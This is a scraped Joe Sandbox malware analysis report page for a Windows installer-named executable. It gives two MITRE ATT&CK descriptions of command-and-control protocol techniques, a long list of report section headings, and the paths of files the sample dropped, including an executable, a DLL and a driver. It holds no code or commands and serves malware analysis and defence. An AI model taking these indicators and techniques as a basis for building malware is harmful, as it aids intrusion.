Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\a[1].gif

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\s[1].dat

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\c[1].gif

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\d[1].gif

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\i[1].dat

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\b[1].gif

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\s[1].jpg

C:\Users\user\Documents\7YbcLf.exe

C:\Users\user\Documents\cache.dat

C:\Users\user\Documents\eToken.dll

C:\Users\user\Documents\perfi.db

C:\Windows\Temp\aceprocted.sys

\Device\Mup\localhost\pipe\atsvc

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Windows Analysis Report
#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe